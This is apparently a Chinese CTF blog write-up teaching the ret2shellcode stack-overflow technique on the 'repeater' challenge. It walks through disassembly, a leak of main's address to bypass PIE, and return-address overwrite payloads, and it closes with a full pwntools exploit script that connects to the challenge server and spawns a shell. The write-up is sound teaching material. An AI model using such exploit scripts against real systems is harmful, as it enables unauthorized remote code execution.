【网安】pwn-ret2shellcode

前言

ret2shellcode是pwn中栈溢出利用的一种技术,适合用在没有NX保护的情况,可通过手动往bss段中写入shellcode,然后控制返回地址,执行这个shellcode来获取system shell

有几点说明:

shellcode可理解为一段窃取system shell的代码,可直接用Python第三方库pwn库中的asm(shellcraft.sh())

对于有NX保护的情况,因为攻击者只能通过栈溢出控制栈上的数据,无法直接控制寄存器,因此用ret2shellcode这种方法来获取system shell就不行了,此时常需要用到ret2libc技术,可看我的另一篇博客:【网安】pwn-ret2libc-CSDN博客

下面用一道泰山杯的真题repeater来进行讲解

题目描述

题目给了一个附件和一个远程攻击的服务器IP地址和端口号,附件中只有一个二进制文件repeater

WriteUp

静态分析

CTF中pwn类型的题目遵循一定的套路,我们先用IDA反汇编+反编译打开这个二进制文件看看,找到main函数

先分析一下这个main函数

函数中有三个变量:s,距离栈底指针bp有30h(48)个字节;v5,距离bp有10h(16)个字节;i,距离bp有4h(4)个字节

下面用puts输出两句提示信息后利用sub_982函数读入最多48个字节数据到unk_202040变量中,sub_982函数内容如下图所示,只要能看出来是用于读取用户输入的就可以

再往下,在没有人为干预情况下v5=1192227,因此进入循环,循环中重点是用read函数读取0x40(64)个字节的数据到s中,而s到bp只有48个字节,这是一个很明显的栈溢出。另外还需要注意到,当v5=3281697时程序会把main函数的地址泄露出来,这一点或许会有助于计算我们想要的函数或变量地址

对于栈溢出问题,我们可根据二进制文件的保护措施不同来采取不同的攻击策略,因此需要先查看一下保护措施,这里用Linux下gdb调试工具查看

可以看到,该二进制文件没有NX保护,但有PIE保护,因此判定可使用ret2shellcode技术解题,结合目前已经获取的信息,主要思路如下:

(1)将shellcode写入unk_202040变量中

(2)构造第一次payload,利用栈溢出覆盖原v5的值,使之等于3281697,进而使程序泄露main函数地址

(3)接收泄露的main函数地址,利用其计算出unk_202040变量地址(绕过PIE保护)

(4)构造第二次payload,利用栈溢出,在将返回地址覆盖为unk_202040变量地址(shellcode地址)的同时将v5置0,退出循环

(5)退出循环后因为返回地址已被覆盖,因此程序不会结束,而是跳转到shellcode执行,进而获取到system shell

接下来详细介绍每一步

解题步骤

1 写入shellcode

这一步很简单,直接利用main函数的sub_982函数进行写入即可,但要注意写入时机需在输出完提示信息"name :"之后,防止写入到了奇怪的地方。代码如下

python 复制代码
shellcode = asm(shellcraft.sh())
io.sendlineafter("name :", shellcode)#shellcode存到bss段,下面构造payload时就可以直接写shellcode地址了

2 泄露main函数地址

这一步的关键是利用栈溢出构造payload,把原来v5的值覆盖掉,使之变成3281697,从而使 if 判断成立,程序泄露main函数地址,代码如下

python 复制代码
payload = cyclic(0x20)+p64(3281697)
io.sendlineafter("input :", payload)

仍然要注意写入时机

3 接收main函数地址,计算unk_202040变量地址

这步主要是利用"相对地址不变"的特点,接收到main函数地址后先利用它计算出实际运行时,可执行文件的加载基址,再用这个加载基址计算出unk_202040变量的地址

而main函数和unk_202040变量的相对基址的地址都可在IDA中查到,如下图

代码如下

python 复制代码
io.readuntil('you :\n')
content = io.readline()[:-1]#最后一位的换行符不要
binary_base = int(content, 16) - 0xa33 #实际加载的内存基址(整个文件的)
shellcode_addr=binary_base+0x202040

4 将返回地址覆盖为unk_202040变量地址,退出循环

这一步就与ret2text的普通栈溢出的构造payload方式一样了,只不过是用shellcode地址覆盖返回地址而不是用system函数的地址,代码如下

python 复制代码
payload = cyclic(0x20)
payload += p64(0x0)#number=0
payload += p64(0x1111111111111111)#i=0x11111111,下次循环条件就不成立了,退出循环
payload += cyclic(8)#EBP随便填充
payload += p64(shellcode_addr)#覆盖返回地址

这部分主要结合着栈结构来看,不好理解的话可以画出栈的内存示意图,实在看不懂也可看我的另一篇博客:【网安】pwn-ret2text-CSDN博客 这篇博客中讲的更加浅显易懂

5 获取system shell

把最终payload发送,获取system shell即可,仍然要注意发送时机,代码如下

python 复制代码
io.sendlineafter("input :", payload)#注意发送时机
io.interactive()

完整代码

python 复制代码
from pwn import *

context(os='linux', arch='amd64',log_level='debug')
# io = process('./repeater')
io=remote("61.147.171.103",58192)

shellcode = asm(shellcraft.sh())
io.sendlineafter("name :", shellcode)#shellcode存到bss段,下面构造payload时就可以直接写shellcode地址了

payload = cyclic(0x20)+p64(3281697)
io.sendlineafter("input :", payload)

io.readuntil('you :\n')
content = io.readline()[:-1]#最后一位的换行符不要
binary_base = int(content, 16) - 0xa33 #实际加载的内存基址(整个文件的)
shellcode_addr=binary_base+0x202040 #0x202040是name的相对地址,shellcode_addr存放shellcode

#第二次循环
payload = cyclic(0x20)
payload += p64(0x0)#number=0
payload += p64(0x1111111111111111)#i=0x11111111,下次循环条件就不成立了,退出循环
payload += cyclic(8)#EBP随便填充
payload += p64(shellcode_addr)#覆盖返回地址
io.sendlineafter("input :", payload)

io.interactive()
相关推荐
王然-HUDDM2 小时前
技术领跑:HUDDM-7D系统L4级功能安全预研验证
人工智能·嵌入式硬件·安全·车载系统·汽车
腾讯安全应急响应中心2 小时前
当AI学会背刺:深度剖析Agent Skills的安全陷阱
人工智能·安全
给你一页白纸2 小时前
将分散的Pytest测试脚本统一接入测试平台:FastAPI改造方案详解
python·pytest·接口自动化·测试平台
黎阳之光2 小时前
打破视域孤岛,智追目标全程 —— 公安视频追踪技术革新来袭
人工智能·算法·安全·视频孪生·黎阳之光
孤狼warrior2 小时前
图像生成 Stable Diffusion模型架构介绍及使用代码 附数据集批量获取
人工智能·python·深度学习·stable diffusion·cnn·transformer·stablediffusion
大哥手下留情3 小时前
Python火车票查询方法介绍
开发语言·python
努力毕业的小土博^_^3 小时前
【AI课程领学】第十二课 · 超参数设定与网络训练(课时1) 网络超参数设定:从“要调什么”到“怎么系统地调”(含 PyTorch 可复用模板)
人工智能·pytorch·python·深度学习·神经网络·机器学习
YMLT花岗岩3 小时前
Python学习之-函数-入门训练-在函数中修改全局变量
python·学习
花月mmc3 小时前
CanMV K230 波形识别——数据分析(2)
python·数据挖掘·数据分析·信号处理